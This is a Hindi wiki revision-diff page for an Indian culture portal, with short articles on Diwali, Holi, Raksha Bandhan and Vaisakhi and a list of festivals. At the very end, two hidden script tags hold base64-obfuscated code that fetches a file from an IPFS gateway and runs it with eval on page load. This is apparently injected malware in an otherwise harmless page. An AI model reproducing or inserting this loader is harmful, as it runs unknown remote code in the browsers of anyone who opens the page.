"प्रांगण:मुखपृष्ठ/संस्कृति": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
No edit summary
No edit summary
 
(2 सदस्यों द्वारा किए गए बीच के 20 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
{| width="100%"
{| width="100%"
|
|
{| width="100%" style="background:#fcfbfc; border:1px solid #d2cd9f; border-top:none; padding:none;" cellspacing="0"  cellpadding="0"
{| width="100%" class="hamariaapki7" style="border:1px solid #d2cd9f; border-radius:5px; margin-left:5px; padding:5px;" cellspacing="0"  cellpadding="0"
| valign="top"|
|-
{| style="margin:0; width:100%" cellpadding="0" cellspacing="0"
|- class="hamariaapki7"
| class="portal-menu" style="border-left:none; width:7%"|[[मुखपृष्ठ]]
| class="portal-menu" style="width:10%;"|[[प्रांगण:मुखपृष्ठ/भारत गणराज्य|गणराज्य]]
| class="portal-menu" style="width:8%;"|[[प्रांगण:मुखपृष्ठ/इतिहास|इतिहास]]
| class="portal-menu" style="width:7%;"|[[प्रांगण:मुखपृष्ठ/पर्यटन|पर्यटन]]
| class="portal-menu" style="width:8%;"|[[प्रांगण:मुखपृष्ठ/साहित्य|साहित्य]]
| class="portal-menu" style="width:7%; "|[[प्रांगण:मुखपृष्ठ/जीवनी|जीवनी]]
| class="portal-menu" style="width:7%;"|[[प्रांगण:मुखपृष्ठ/दर्शन|दर्शन]]
| class="portal-menu" style="width:6%;"|[[प्रांगण:मुखपृष्ठ/धर्म|धर्म]]
| class="portal-menu" style="width:8%; border-bottom:none; background:transparent;"|[[प्रांगण:मुखपृष्ठ/संस्कृति|संस्कृति]]
| class="portal-menu" style="width:7%;"|[[प्रांगण:मुखपृष्ठ/भूगोल|भूगोल]]
| class="portal-menu" style="width:6%;"|[[प्रांगण:मुखपृष्ठ/कला|कला]]
| class="portal-menu" style="width:6%;"|[[प्रांगण:मुखपृष्ठ/भाषा|भाषा]]
| class="portal-menu" style="width:13%; border-right:none;"|[[प्रांगण:मुखपृष्ठ|सभी विषय]]
|- style=" padding-top:none;" class="hamariaapki7"
| colspan="13"|
{| width="100%" style="background:transparent;" border="0"
| valign="top" style="width:40%; border:none;"|
| valign="top" style="width:40%; border:none;"|
* यहाँ हम भारतीय संस्कृति से संबंधित जानकारी प्राप्त कर सकते हैं। <br />
[[चित्र:Culture-icon-2.png|right|90px]]
* भारतीय संस्कृति विश्व की प्रधान संस्कृति है, यह कोई गर्वोक्ति नहीं, बल्कि वास्तविकता है। भारतीय संस्कृति को देव संस्कृति कहकर सम्मानित किया गया है।   
* यहाँ हम भारतीय संस्कृति से संबंधित जानकारी प्राप्त कर सकते हैं। भारतीय संस्कृति विश्व की प्रधान संस्कृति है, यह कोई गर्वोक्ति नहीं, बल्कि वास्तविकता है। भारतीय संस्कृति को देव संस्कृति कहकर सम्मानित किया गया है।   
<br />
* भारत के अनेकों धर्मों तथा परम्पराओं और उनका आपस में संमिश्रण ने विश्व के अनेकों स्थानों को भी प्रभावित किया है। हजारों वर्षों से भारत की सांस्कृतिक प्रथाओं, भाषाओं, रीति-रिवाजों आदि में विविधता बनी रही है जो कि आज भी विद्यमान है, और यही अनेकता में एकता भारतीय संस्कृति की महान विशेषता है।
{{प्रांगण नोट}}
{{Headnote2|मुख्य आकर्षण- [[:श्रेणी:संस्कृति कोश|संस्कृति कोश]] '''·''' [[भारतीय संस्कृति]]}}
{{Headnote2|मुख्य आकर्षण- [[:श्रेणी:संस्कृति कोश|संस्कृति कोश]] '''·''' [[भारतीय संस्कृति]]}}
| valign="middle" style="width:20%; border:none;"|
[[चित्र:Culture-icon-2.gif|center|60px]]
| valign="top" style="width:40%; border:none;"|
* भारत के अनेकों धर्मों तथा परम्पराओं और उनका आपस में संमिश्रण ने विश्व के अनेकों स्थानों को भी प्रभावित किया है।<br />
* हजारों वर्षों से भारत की सांस्कृतिक प्रथाओं, भाषाओं, रीति-रिवाजों आदि में विविधता बनी रही है जो कि आज भी विद्यमान है, और यही अनेकता में एकता भारतीय संस्कृति की महान विशेषता है।
{{प्रांगण नोट}}
|}
|}
|}
|}
|-
|-
|
|
{| width="51%" align="left" cellpadding="5" cellspacing="5"
{| width="100%" cellpadding="0" cellspacing="0"
|-
|-
| style="border:1px solid #d2cd9f; padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px;" class="bg63" valign="top"|  
| style="border:1px solid #d2cd9f; padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px;" class="bg63" valign="top"|  
<div style="padding-left:8px; background:#efeabd; border:thin solid #d2cd9f;">'''विशेष आलेख'''</div>  
<div style="padding-left:8px; background:#efeabd; border:thin solid #d2cd9f;">'''विशेष आलेख'''</div>  
<div align="center" style="color:#34341B;">'''[[होली]]'''</div>
<div align="center" style="color:#34341B;">'''[[दीपावली]]'''</div>
<div style="color:#993300"> [[चित्र:Kolaz-Holi.jpg|right|150px|right|होली के विभिन्न दृश्य |link=होली]]
[[चित्र:Lakshmi-Ganesh-Saraswati.jpg|right|120px|right|लक्ष्मी, गणेश, सरस्वती |link=दीपावली]]
*होली [[भारत]] के प्रमुख चार त्योहारों ([[दीपावली]], [[रक्षाबंधन]], होली और [[दशहरा]]) में से एक है।  
<poem>
*प्रचलित मान्यता के अनुसार यह त्योहार [[हिरण्यकशिपु]] की बहन [[होलिका]] के मारे जाने की स्मृति में मनाया जाता है।
        '''[[दीपावली]]''' अथवा '''दिवाली''' [[भारत]] के प्रमुख त्योहारों में से एक है। त्योहारों का जो वातावरण [[धनतेरस]] से प्रारम्भ होता है, वह दिवाली के दिन पूरे चरम पर आता है। दीपावली की रात्रि को घरों तथा दुकानों पर भारी संख्या में [[दीपक]], मोमबत्तियां और बल्ब जलाए जाते हैं। दीपावली [[भारत]] के त्योहारों में अपना विशिष्ट स्थान रखती है। इस दिन [[महालक्ष्मी देवी|लक्ष्मी]] के पूजन का विशेष विधान है। रात्रि के समय प्रत्येक घर में धनधान्य की अधिष्ठात्री देवी [[महालक्ष्मी देवी|महालक्ष्मीजी]], विघ्न-विनाशक [[गणेश]] जी और विद्या एवं कला की देवी मातेश्वरी [[सरस्वती देवी]] की पूजा-आराधना की जाती है। [[ब्रह्मपुराण]] के अनुसार [[कार्तिक]] [[अमावस्या]] की इस अंधेरी रात्रि अर्थात अर्धरात्रि में महालक्ष्मी स्वयं भूलोक में आती हैं और प्रत्येक सद्गृहस्थ के घर में विचरण करती हैं। धर्मग्रंथों के अनुसार [[कार्तिक]] [[अमावस्या]] को भगवान श्री [[राम|रामचंद्रजी]] चौदह वर्ष का वनवास काटकर तथा असुरी वृत्तियों के प्रतीक [[रावण]] का संहार करके [[अयोध्या]] लौटे थे तब अयोध्यावासियों ने राम के राज्यारोहण पर दीपमालाएं जलाकर महोत्सव मनाया था। इसीलिए दीपावली [[हिंदू|हिंदुओं]] के प्रमुख त्योहारों में से एक है। [[दीपावली|.... और पढ़ें]]
*[[संस्कृत]] शब्द होलक्का से होली शब्द का जन्म हुआ है। [[वैदिक धर्म|वैदिक]] [[युग]] में होलक्का को ऐसा अन्न माना जाता था, जो [[देवता|देवों]] का मुख्य रूप से खाद्य-पदार्थ था।
</poem>
*यह [[ब्रज]] का विशेष त्योहार है। फाल्गुन के माह रंगभरनी [[एकादशी]] से सभी मन्दिरों में फाग उत्सव प्रारम्भ होते हैं जो दौज तक चलते हैं। दौज को [[बलदेव मन्दिर मथुरा|बल्देव (दाऊजी)]] में हुरंगा होता है।
*होलिकापूजन पूर्ण चंद्रमा ([[फाल्गुन]] [[पूर्णिमा]]) के दिन ही होता है। इसी दिन सायंकाल को होली जलाई जाती है, तथा लोग इसी अग्नि के चारों ओर नृत्य व [[संगीत]] का आनन्द लेते हैं। 
*देश के कई अलग-अलग प्रान्तों में होली को अलग अलग नामों से जाना जाता है और बड़े ही निराले अंदाजों में मनाया जाता है। जैसे- डोल पूर्णिमा ([[पश्चिम बंगाल]]), कमान पंदिगाई ([[तमिलनाडु]]), होला मोहल्ला ([[पंजाब]]), कामना हब्बा ([[कर्नाटक]]), फगुआ ([[बिहार]]), रंगपंचमी ([[महाराष्ट्र]]), शिमगो ([[गोवा]]), धुलेंडी ([[हरियाणा]]) आदि। [[होली|.... और पढ़ें]]
</div>
|-
|-
| class="bg64" style="border:1px solid #e8d79c;padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px;" valign="top" | <div style="padding-left:8px; background:#f5e6b2; border:thin solid #e8d79c;"> '''चयनित लेख'''</div>
| class="bg64" style="border:1px solid #e8d79c;padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px;" valign="top" | <div style="padding-left:8px; background:#f5e6b2; border:thin solid #e8d79c;"> '''चयनित लेख'''</div>
<div align="center" style="color:#34341B;">'''[[रक्षाबन्धन]]'''</div>
<div align="center" style="color:#34341B;">'''[[वैशाखी]]'''</div>
<div id="rollnone"> [[चित्र:Raksha-Bandhan.jpg|right|150px|रक्षाबन्धन|link=रक्षाबन्धन]] </div>
<div id="rollnone"> [[चित्र:Baisakhi-1.jpg|right|100px|link=वैशाखी]] </div>
*रक्षाबन्धन [[भारत]] में भाई-बहन को स्नेह की डोर से बांधने वाला हिंदुओं का प्रमुख त्योहार है। [[श्रावण]] शुक्ल की [[पूर्णिमा]] को 'रक्षाबन्धन' मनाया जाता हैं।
<poem>
*रक्षाबंधन का अर्थ है (रक्षा+बंधन) अर्थात किसी को अपनी रक्षा के लिए बांध लेना।
        '''[[वैशाखी]]''' [[पंजाब]] राज्य, [[भारत]] में [[सिक्ख]] समुदाय द्वारा मनाया जाने वाला प्रमुख त्योहार है। देश विदेश में वैशाखी के अवसर पर, विशेषकर पंजाब में मेले लगते हैं। लोग सुबह-सुबह सरोवरों और नदियों में [[स्नान]] कर मंदिरों और गुरुद्वारों में जाते हैं। लंगर लगाये जाते हैं और चारों तरफ़ लोग प्रसन्न दिखलायी देते हैं। विशेषकर किसान, [[गेहूँ]] की फ़सल को देखकर उनका मन नाचने लगता है। गेहूँ को पंजाबी किसान '[[कनक]]' यानि [[सोना]] मानते हैं। यह फ़सल किसान के लिए सोना ही होती है, उसकी मेहनत का [[रंग]] दिखायी देता है। वैशाखी पर गेहूँ की कटाई शुरू हो जाती है। वैशाखी पर्व 'बंगाल में पैला (पीला) बैसाख' नाम से, दक्षिण में 'बिशु' नाम से और '[[केरल]], [[तमिलनाडु]], [[असम]] में [[बिहू]]' के नाम से मनाया जाता है। अंग्रेज़ी कलैंडर में तारीखों के बदलाव के कारण अब वैशाखी [[14 अप्रॅल]] को मनायी जाती है। [[वैशाखी|.... और पढ़ें]]
*भारतीय परम्परा में विश्वास का बन्धन ही मूल है और रक्षाबन्धन इसी विश्वास का बन्धन है।  
</poem>
*यह पर्व मात्र रक्षा-सूत्र के रूप में [[राखी]] बाँधकर रक्षा का वचन ही नहीं देता वरन् प्रेम, समर्पण, निष्ठा व संकल्प के जरिए हृदयों को बाँधने का भी वचन देता है।
*रक्षाबंधन के दिन देश में कई स्थानों पर ब्राह्मण, पुरोहित भी अपने यजमान की समृद्धि हेतु उन्हें रक्षा बाँधते हैं, जिसकी उन्हें दक्षिणा भी मिलती है।
*[[मुंबई]] में रक्षाबंधन पर्व को नारली (नारियल) पूर्णिमा के नाम से भी जाना जाता है। जल के देवता [[वरुण देवता|वरुण]] को प्रसन्न करने के लिए समुद्र को (नारियल) अर्पित किए जाते हैं। [[रक्षाबन्धन|.... और पढ़ें]]
|}
|}
{| width="49%" align="right" cellpadding="1" cellspacing="5"
{| width="100%" cellpadding="0" cellspacing="0"
|-valign="top"
|-valign="top"
| class="bg64" style="border:1px solid #e8d79c;padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px; width:50%" valign="top" | <div style="padding-left:8px; background:#f5e6b2; border:thin solid #e8d79c;">'''कुछ लेख'''</div>
|  
* [[कृष्ण जन्माष्टमी]]
{{robelbox|theme=1|title=संस्कृति श्रेणी वृक्ष}}
* [[दीपावली]]
<div style="{{Robelbox/pad}}; font-size:90%; height:700px; overflow:auto;">
* [[पोंगल]]
* [[ईद-उल-फ़ितर]]
* [[रमज़ान]]
* [[मोहर्रम]]
* [[बसंत पंचमी]]
* [[नवरात्र]]
* [[महावीर जयन्ती]]
* [[करवा चौथ]]
* [[आभूषण]]
* [[होली]]
* [[ईद उल ज़ुहा]]
* [[वैशाखी]]
* [[लोहड़ी]]
* [[ओणम]]
* [[विजय दशमी]]
* [[जगन्नाथ रथयात्रा]]
* [[मेंहदी]]
* [[कुम्भ मेला]]
* [[चूड़ी]]
* [[पायल]]
* [[गंगा दशहरा]]
* [[गणेश चतुर्थी]]
| style="border:1px solid #d2cd9f; padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px; width:50%" class="bg63" valign="top"|
<div style="padding-left:8px; background:#efeabd; border:thin solid #d2cd9f;">'''संस्कृति श्रेणी वृक्ष'''</div>
<categorytree mode=pages>संस्कृति</categorytree>
<categorytree mode=pages>संस्कृति</categorytree>
</div>
{{Robelbox/close}}
|-
|-
| style="border:1px solid #c9b15f; padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px; background:#fef9e7 " valign="top" colspan="2" |
| style="border:1px solid #c9b15f; padding:10px; -moz-border-radius: 6px;-webkit-border-radius: 6px; border-radius: 6px; background:#fef9e7 " valign="top" colspan="2" |
पंक्ति 100: पंक्ति 46:
| style="background:#e8d79c; width:5%;"|
| style="background:#e8d79c; width:5%;"|
| style="width:90%;" valign="top" |  
| style="width:90%;" valign="top" |  
[[चित्र:Krishna-Birth-Place-Mathura-7.jpg|300px|जन्माष्टमी के अवसर पर श्रद्धालुओं की भीड़, कृष्ण जन्मभूमि, मथुरा|center]]
[[चित्र:Tiles.jpg|250px|खपरैल से निर्मित छत|center]]
| style="background:#e8d79c; width:5%" |
| style="background:#e8d79c; width:5%" |
|-
|-
| colspan="3"|
| colspan="3"|
----
----
<div style="text-align:center;">[[जन्माष्टमी]] के अवसर पर श्रद्धालुओं की भीड़, [[कृष्ण जन्मभूमि]], [[मथुरा]]</div>
<div style="text-align:center;">[[खपरैल]] से निर्मित छत </div>
|}
|}
|}
|}
|}
|}
{{बरसाना होली चित्र सूची}}
 
{{प्रचार}}
==संबंधित लेख==
==संबंधित लेख==
{{संस्कृति साँचे सूची}}
{{संस्कृति साँचे सूची}}


{{#css:
.portal-menu {
background:#fcfbfc;
border:1px solid #d2cd9f;
}
}}
__NOTOC__
__NOTOC__
__NOEDITSECTION__
__NOEDITSECTION__
पंक्ति 126: पंक्ति 65:
[[Category:संस्कृति ]]
[[Category:संस्कृति ]]
[[Category:संस्कृति कोश]]
[[Category:संस्कृति कोश]]
{{DISPLAYTITLE:<font color="#003366">संस्कृति मुखपृष्ठ</font>}}
{{DISPLAYTITLE:संस्कृति मुखपृष्ठ}}

07:55, 12 मई 2021 के समय का अवतरण

  • यहाँ हम भारतीय संस्कृति से संबंधित जानकारी प्राप्त कर सकते हैं। भारतीय संस्कृति विश्व की प्रधान संस्कृति है, यह कोई गर्वोक्ति नहीं, बल्कि वास्तविकता है। भारतीय संस्कृति को देव संस्कृति कहकर सम्मानित किया गया है।
  • भारत के अनेकों धर्मों तथा परम्पराओं और उनका आपस में संमिश्रण ने विश्व के अनेकों स्थानों को भी प्रभावित किया है। हजारों वर्षों से भारत की सांस्कृतिक प्रथाओं, भाषाओं, रीति-रिवाजों आदि में विविधता बनी रही है जो कि आज भी विद्यमान है, और यही अनेकता में एकता भारतीय संस्कृति की महान विशेषता है।
  • भारतकोश पर लेखों की संख्या प्रतिदिन बढ़ती रहती है जो आप देख रहे वह "प्रारम्भ मात्र" ही है...
मुख्य आकर्षण- संस्कृति कोश · भारतीय संस्कृति
विशेष आलेख
लक्ष्मी, गणेश, सरस्वती
लक्ष्मी, गणेश, सरस्वती

        दीपावली अथवा दिवाली भारत के प्रमुख त्योहारों में से एक है। त्योहारों का जो वातावरण धनतेरस से प्रारम्भ होता है, वह दिवाली के दिन पूरे चरम पर आता है। दीपावली की रात्रि को घरों तथा दुकानों पर भारी संख्या में दीपक, मोमबत्तियां और बल्ब जलाए जाते हैं। दीपावली भारत के त्योहारों में अपना विशिष्ट स्थान रखती है। इस दिन लक्ष्मी के पूजन का विशेष विधान है। रात्रि के समय प्रत्येक घर में धनधान्य की अधिष्ठात्री देवी महालक्ष्मीजी, विघ्न-विनाशक गणेश जी और विद्या एवं कला की देवी मातेश्वरी सरस्वती देवी की पूजा-आराधना की जाती है। ब्रह्मपुराण के अनुसार कार्तिक अमावस्या की इस अंधेरी रात्रि अर्थात अर्धरात्रि में महालक्ष्मी स्वयं भूलोक में आती हैं और प्रत्येक सद्गृहस्थ के घर में विचरण करती हैं। धर्मग्रंथों के अनुसार कार्तिक अमावस्या को भगवान श्री रामचंद्रजी चौदह वर्ष का वनवास काटकर तथा असुरी वृत्तियों के प्रतीक रावण का संहार करके अयोध्या लौटे थे तब अयोध्यावासियों ने राम के राज्यारोहण पर दीपमालाएं जलाकर महोत्सव मनाया था। इसीलिए दीपावली हिंदुओं के प्रमुख त्योहारों में से एक है। .... और पढ़ें

चयनित लेख

        वैशाखी पंजाब राज्य, भारत में सिक्ख समुदाय द्वारा मनाया जाने वाला प्रमुख त्योहार है। देश विदेश में वैशाखी के अवसर पर, विशेषकर पंजाब में मेले लगते हैं। लोग सुबह-सुबह सरोवरों और नदियों में स्नान कर मंदिरों और गुरुद्वारों में जाते हैं। लंगर लगाये जाते हैं और चारों तरफ़ लोग प्रसन्न दिखलायी देते हैं। विशेषकर किसान, गेहूँ की फ़सल को देखकर उनका मन नाचने लगता है। गेहूँ को पंजाबी किसान 'कनक' यानि सोना मानते हैं। यह फ़सल किसान के लिए सोना ही होती है, उसकी मेहनत का रंग दिखायी देता है। वैशाखी पर गेहूँ की कटाई शुरू हो जाती है। वैशाखी पर्व 'बंगाल में पैला (पीला) बैसाख' नाम से, दक्षिण में 'बिशु' नाम से और 'केरल, तमिलनाडु, असम में बिहू' के नाम से मनाया जाता है। अंग्रेज़ी कलैंडर में तारीखों के बदलाव के कारण अब वैशाखी 14 अप्रॅल को मनायी जाती है। .... और पढ़ें

संस्कृति श्रेणी वृक्ष
चयनित चित्र

खपरैल से निर्मित छत
खपरैल से निर्मित छत

खपरैल से निर्मित छत

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>